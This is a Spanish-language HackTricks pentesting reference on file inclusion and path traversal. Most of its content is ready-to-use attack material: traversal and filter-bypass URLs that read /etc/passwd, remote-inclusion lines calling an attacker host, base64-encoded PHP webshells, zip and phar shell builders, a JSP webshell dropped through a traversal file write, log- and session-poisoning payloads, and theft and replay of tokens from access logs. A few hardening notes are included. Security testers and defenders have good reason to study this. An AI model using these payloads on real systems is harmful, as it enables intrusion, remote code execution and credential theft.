File Inclusion/Path traversal

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

File Inclusion

Remote File Inclusion (RFI): El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Local File Inclusion (LFI): El servidor carga un archivo local.

La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.

Funciones PHP vulnerables: require, require_once, include, include_once

Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mezclando varias listas LFI de *nix y añadiendo más rutas he creado esta:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prueba también a cambiar / por \
Prueba también a añadir ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Merge of different wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prueba también a cambiar / por \
Prueba también a eliminar C:/ y añadir ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Check the LFI list of linux.

LFI básico y bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

secuencias de traversal eliminadas de forma no recursiva

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Eludir la adición de más caracteres al final de la cadena proporcionada (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Esto está resuelto desde PHP 5.4

Codificación

Podrías usar codificaciones no estándar como double URL encode (y otras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Los motores modernos de HTML-to-PDF (p. ej. TCPDF o wrappers como html2pdf) analizan sin problema HTML, SVG, CSS y URLs de fuentes proporcionadas por un atacante, pero se ejecutan dentro de redes de backend confiables con acceso al sistema de archivos. Una vez que puedes inyectar HTML en $pdf->writeHTML()/Html2Pdf::writeHTML(), a menudo puedes exfiltrar archivos locales que la cuenta del servidor web pueda leer.

  • Fingerprint the renderer: every generated PDF contains a Producer field (e.g. TCPDF 6.8.2). Conocer la build exacta te indica qué filtros de rutas existen y si se realiza URL decoding antes de la validación.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() reads the xlink:href attribute from <image> elements before running urldecode(). Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF antepone $_SERVER['DOCUMENT_ROOT'] a las rutas que empiezan con / y solo resuelve .. más tarde, así que usa segmentos líderes ../../.. o /../../.. para escapar la raíz después del prepend.

  • Codificación para evadir filtros ingenuos: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Doble codificación para decodificación en varias etapas: Si la entrada del usuario es decodificada por el web framework y por TCPDF, doble codifica la barra (%252f). Una decodificación la convierte en %2f, la segunda decodificación en TCPDF la convierte en /, produciendo /..%252f../../../../… sin mostrar ../ al filtro inicial.
  • Manejador HTML <img>: TCPDF::openHTMLTagHandler() contiene el mismo bug de orden de operaciones, permitiendo payloads HTML directos como src="%2f..%252f..%252ftmp%252fsecret.png" para leer cualquier bitmap accesible localmente.

Esta técnica leaks cualquier cosa legible por el PDF worker (escaneos de pasaportes, API keys renderizadas como imágenes, etc.). Los hardeners lo arreglaron en 6.9.1 al canonicalizar rutas (isRelativePath()), así que durante las pruebas prioriza versiones antiguas del Producer.

Desde carpeta existente

Puede que el back-end esté comprobando la ruta de la carpeta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando directorios del sistema de archivos en un servidor

El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:

  1. Determinar la profundidad del directorio: Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo /etc/passwd (aplicable si el servidor es Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probar carpetas: Añade el nombre de la carpeta sospechosa (p. ej., private) a la URL, y luego vuelve a /etc/passwd. El nivel adicional de directorio requiere incrementar la profundidad en uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretar los resultados: La respuesta del servidor indica si el directorio existe:
  • Error / Sin salida: El directorio private probablemente no exista en la ubicación especificada.
  • Contenido de /etc/passwd: Se confirma la presencia del directorio private.
  1. Exploración recursiva: Los directorios descubiertos pueden ser explorados más a fondo en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).

Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si /var/www/ contiene un directorio private (suponiendo que el directorio actual está a una profundidad de 3), usa:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos evitando ciertas medidas de seguridad que agregan caracteres adicionales al final de las rutas. El objetivo es construir una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.

En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • Cuando los últimos 6 caracteres son passwd, agregar un / (convirtiéndolo en passwd/) no cambia el archivo apuntado.
  • De manera similar, si se agrega .php a una ruta de archivo (como shellcode.php), añadir /. al final no alterará el archivo al que se accede.

Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a /etc/passwd, un objetivo común debido a su contenido sensible (información de cuentas de usuario):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

En estos escenarios, el número de traversals necesarios podría estar alrededor de 2027, pero este número puede variar según la configuración del servidor.

  • Using Dot Segments and Additional Characters: Las secuencias de traversal (../) combinadas con segmentos adicionales de puntos y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
  • Determining the Required Number of Traversals: Mediante prueba y error, se puede encontrar el número preciso de secuencias ../ necesarias para navegar hasta el directorio raíz y luego a /etc/passwd, asegurando que cualquier cadena añadida (como .php) sea neutralizada pero que la ruta deseada (/etc/passwd) permanezca intacta.
  • Starting with a Fake Directory: Es una práctica común comenzar la ruta con un directorio inexistente (como a/). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.

Al emplear técnicas de truncamiento de ruta, es crucial entender el comportamiento del análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.

Esta vulnerabilidad fue corregida en PHP 5.3.

Trucos para eludir filtros

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

En php esto está deshabilitado por defecto porque allow_url_include está Off. Debe estar On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si por alguna razón allow_url_include está On, pero PHP está filtering el acceso a páginas web externas, according to this post, podrías usar por ejemplo el data protocol con base64 para decodificar un código PHP en b64 y obtener RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

En el código anterior, el +.txt final se añadió porque el atacante necesitaba una cadena que terminara en .txt, así que la cadena termina con ello y tras la decodificación b64 esa parte devolverá solo basura y el código PHP real será incluido (y por lo tanto, ejecutado).

Otro ejemplo sin usar el protocolo php:// sería:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento raíz en Python

En Python, en un código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si el usuario pasa una ruta absoluta a file_name, la ruta anterior simplemente se elimina:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es el comportamiento previsto según the docs:

Si un componente es una ruta absoluta, todos los componentes previos se descartan y la unión continúa desde el componente de ruta absoluta.

Listado de directorios en Java

Parece que si tienes un Path Traversal en Java y solicitas un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (hasta donde sé).

Top 25 parámetros

Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) vulnerabilities (de link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

Los filtros de PHP permiten realizar operaciones básicas de modificación sobre los datos antes de que se lean o escriban. Hay 5 categorías de filtros:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Elimina tags de los datos (todo lo que esté entre los caracteres “<” y “>”)
  • Nota que este filtro ha desaparecido en las versiones modernas de PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>). Para obtener la lista de todas las codificaciones soportadas ejecuta en la consola: iconv -l

Warning

Abusando del filtro de conversión convert.iconv.* se puede generar texto arbitrario, lo que puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información revisa LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime el contenido (útil si exfiltras mucha información)
  • zlib.inflate: Descomprime los datos
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Otros filtros
  • Ejecutando en php var_dump(stream_get_filters()); puedes encontrar un par de filtros inesperados:
  • consumed
  • dechunk: revierte la codificación chunked de HTTP
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La parte “php://filter” no distingue entre mayúsculas y minúsculas

Usando php filters como oracle para leer archivos arbitrarios

In this post se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una exfiltración boolean (char by char) usando php filters como oracle. Esto es porque php filters pueden usarse para hacer que un texto sea lo bastante grande como para que php lance una excepción.

En el post original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:

  • Usa el codec UCS-4LE para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
  • Esto se usará para generar un texto tan grande cuando la letra inicial está adivinada correctamente que php desencadenará un error
  • El filtro dechunk eliminará todo si el primer char no es hexadecimal, por lo que podemos saber si el primer char es hex.
  • Esto, combinado con lo anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto viendo cuándo hacemos suficientes transformaciones como para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la borrará y la bomba inicial hará que php provoque un error.
  • El codec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (así después de este codec: a -> b). Esto nos permite descubrir si la primera letra es una a por ejemplo porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal, por lo tanto dechunk no la borra y el error de php se dispara porque se multiplica con la bomba inicial.
  • Usando otras transformaciones como rot13 al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
  • Cuando el char inicial es un número es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
  • El problema final es ver cómo leak más que la letra inicial. Usando filters de orden de memoria como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los chars y poner en la primera posición otras letras del texto.
  • Y para poder obtener más datos la idea es generar 2 bytes de junk data al inicio con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para que haga pivot con los siguientes 2 bytes, y eliminar los datos hasta el junk data (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta llegar al bit deseado para leak.

En el post también se leakó una herramienta para ejecutar esto automáticamente: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acceder a file descriptors que el proceso tiene abiertos. Potencialmente útil para exfiltrate el contenido de archivos abiertos:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

También puedes usar php://stdin, php://stdout and php://stderr para acceder a los file descriptors 0, 1 and 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)

zip:// and rar://

Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del protocolo rar, este debe activarse específicamente.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open y allow_url_include

expect://

Expect debe estar activado. Puedes ejecutar código usando esto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifica tu payload en los parámetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un archivo .phar puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como include para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar el archivo .phar, se debe ejecutar el siguiente comando:

php --define phar.readonly=0 create_path.php

Al ejecutarse, se creará un archivo llamado test.phar, que potencialmente podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).

En los casos donde la LFI solo realiza la lectura de archivos sin ejecutar el código PHP que contienen, por medio de funciones como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() o filesize(), se podría intentar la explotación de una deserialization vulnerability. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Fue posible abusar de any arbitrary file read from PHP that supports php filters para obtener un RCE. The detailed description can be found in this post.
Resumen muy breve: un 3 byte overflow en el PHP heap fue abusado para alterar la chain of free chunks de un tamaño específico con el fin de poder write anything in any address, por lo que se añadió un hook para llamar a system.
It was possible to alloc chunks of specific sizes abusing more php filters.

Más protocolos

Consulta más posible protocols to include here:

  • php://memory and php://temp — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
  • file:// — Acceso al sistema de archivos local
  • http:// — Acceso a URLs HTTP(s)
  • ftp:// — Acceso a URLs FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Encontrar pathnames que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (No útil para leer archivos arbitrarios)

LFI vía ‘assert’ de PHP

Los riesgos de Local File Inclusion (LFI) en PHP son especialmente altos al tratar con la función ‘assert’, que puede ejecutar código contenido en cadenas. Esto es particularmente problemático si se comprueba la entrada que contiene caracteres de directory traversal como “..” pero no se sanitiza correctamente.

Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal de la siguiente manera:

assert("strpos('$file', '..') === false") or die("");

Si bien esto pretende detener el traversal, inadvertidamente crea un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:

' and die(highlight_file('/etc/passwd')) or '

De forma similar, para ejecutar comandos arbitrarios del sistema, se podría usar:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Esta técnica es relevante en casos donde tú controlas la file path de una PHP function que va a access a file pero no verás el contenido del archivo (como una simple llamada a file()) aunque el contenido no se muestra.

En this incredible post se explica cómo un blind path traversal puede ser abusado vía PHP filter para exfiltrate the content of a file via an error oracle.

Como resumen, la técnica usa la “UCS-4LE” encoding para hacer que el contenido de un archivo sea tan big que la PHP function opening el archivo provocará un error.

Luego, para leak el primer char el filter dechunk se usa junto con otros como base64 o rot13 y finalmente los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE se usan para place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para los detalles técnicos consulta el post mencionado!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • Identificar una write primitive en un endpoint o background worker que acepta una path/filename y escribe contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Notes:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • On Java stacks, these file writes are often implemented with simple File/Paths concatenation. Lack of canonicalisation/allow-listing is the core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Medidas de hardening que neutralizan esta clase de bugs:

  • Resolver a una ruta canónica y hacer cumplir que sea descendiente de un directorio base en la lista de permitidos.
  • Rechazar cualquier ruta que contenga .., raíces absolutas, o letras de unidad; preferir nombres de archivo generados.
  • Ejecutar el proceso de escritura con una cuenta de bajos privilegios y segregar los directorios de escritura de los directorios raíz que se sirven.

Remote File Inclusion

Explicado anteriormente, sigue este enlace.

A través del archivo de logs de Apache/Nginx

Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include podrías intentar acceder a /var/log/apache2/access.log or /var/log/nginx/access.log, escribir dentro del user agent o dentro de un GET parameter un php shell como <?php system($_GET['c']); ?> e incluir ese archivo

Warning

Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles serán modificadas por la cadena “quote;”, PHP lanzará un error y nada más se ejecutará.

Además, asegúrate de escribir correctamente el payload o PHP dará error cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.

Esto también se puede hacer en otros logs pero ten cuidado, el código dentro de los logs podría estar codificado en URL y esto podría destruir el Shell. El header authorisation “basic” contiene “user:password” en Base64 y se decodifica dentro de los logs. El PHPShell podría insertarse dentro de este header.
Otras posibles rutas de logs:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leer access logs para recolectar tokens de autenticación basados en GET (token replay)

Muchas aplicaciones aceptan por error tokens de sesión/autenticación vía GET (p. ej., AuthenticationToken, token, sid). Si tienes una primitiva de path traversal/LFI que te permite acceder a los logs del servidor web, puedes robar esos tokens de los registros de acceso y reproducirlos para omitir completamente la autenticación.

How-to:

  • Utiliza el traversal/LFI para leer el access log del servidor web. Ubicaciones comunes:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Algunos endpoints devuelven lecturas de archivos codificadas en Base64. Si es así, decodifica localmente e inspecciona las líneas del registro.
  • Usa grep para buscar solicitudes GET que incluyan un parámetro token y captura su valor, luego reprodúcelo contra el punto de entrada de la aplicación.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica el body si está en Base64, luego replay un token capturado:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notas:

  • Los tokens en URLs se registran por defecto; nunca aceptes bearer tokens vía GET en sistemas de producción.
  • Si la app soporta múltiples nombres de token, busca claves comunes como AuthenticationToken, token, sid, access_token.
  • Rota cualquier token que pueda haber leaked a los logs.

Vía Email

Enviar un correo a una cuenta interna (user@localhost) conteniendo tu PHP payload como <?php echo system($_REQUEST["cmd"]); ?> e intenta incluirlo en el correo del usuario con una ruta como /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Vía /proc//fd/

  1. Sube muchos shells (por ejemplo: 100)
  2. Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (se puede obtener por fuerza bruta) y $FD el descriptor de archivo (también se puede obtener por fuerza bruta)

Vía /proc/self/environ

Como en un archivo de log, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Vía upload

Si puedes upload un archivo, simplemente inyecta el shell payload en él (por ejemplo: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf

Mediante subida de archivo ZIP

Sube un archivo ZIP que contenga un PHP shell comprimido y accede a:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Vía PHP sessions

Comprueba si el sitio web usa PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, estas sesiones se almacenan en los archivos /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Establece la cookie a <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa el LFI para incluir el archivo de sesión de PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Vía ssh

Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) y intenta acceder a <HOME>/.ssh/id_rsa

Vía vsftpd registros

Los registros del servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En el escenario en el que exista una vulnerabilidad de Local File Inclusion (LFI) y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:

  1. Inyecta un payload PHP en el campo username durante el proceso de login.
  2. Tras la inyección, utiliza el LFI para recuperar los registros del servidor desde /var/log/vsftpd.log.

Vía php base64 filter (using base64)

Como se muestra en this article, el PHP base64 filter simplemente ignora lo que no es base64. Puedes usar eso para bypass la verificación de la extensión de archivo: si suministras base64 que termina con “.php”, éste simplemente ignorará el “.” y añadirá “php” al base64. Aquí hay un ejemplo de payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Vía php filters (no se necesita archivo)

This writeup explica que puedes usar php filters to generate arbitrary content como salida. Lo que básicamente significa que puedes generate arbitrary php code para el include without needing to write en un archivo.

LFI2RCE via PHP Filters

Vía segmentation fault

Upload un archivo que será almacenado como temporal en /tmp, luego en la misma request, provoca un segmentation fault, y entonces el archivo temporal no será eliminado y puedes buscarlo.

LFI2RCE via Segmentation Fault

Vía Nginx temp file storage

Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP podrías obtener RCE con la siguiente técnica:

LFI2RCE via Nginx temp files

Vía PHP_SESSION_UPLOAD_PROGRESS

Si encontraste una Local File Inclusion incluso si no tienes una sesión y session.auto_start está Off. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Vía temp file uploads in Windows

Si encontraste una Local File Inclusion y el servidor está corriendo en Windows podrías conseguir RCE:

LFI2RCE Via temp file uploads

Vía pearcmd.php + URL args

As explained in this post, el script /usr/local/lib/phppearcmd.php existe por defecto en las php docker images. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un =, debe usarse como argumento. Ver también watchTowr’s write-up y Orange Tsai’s “Confusion Attacks”.

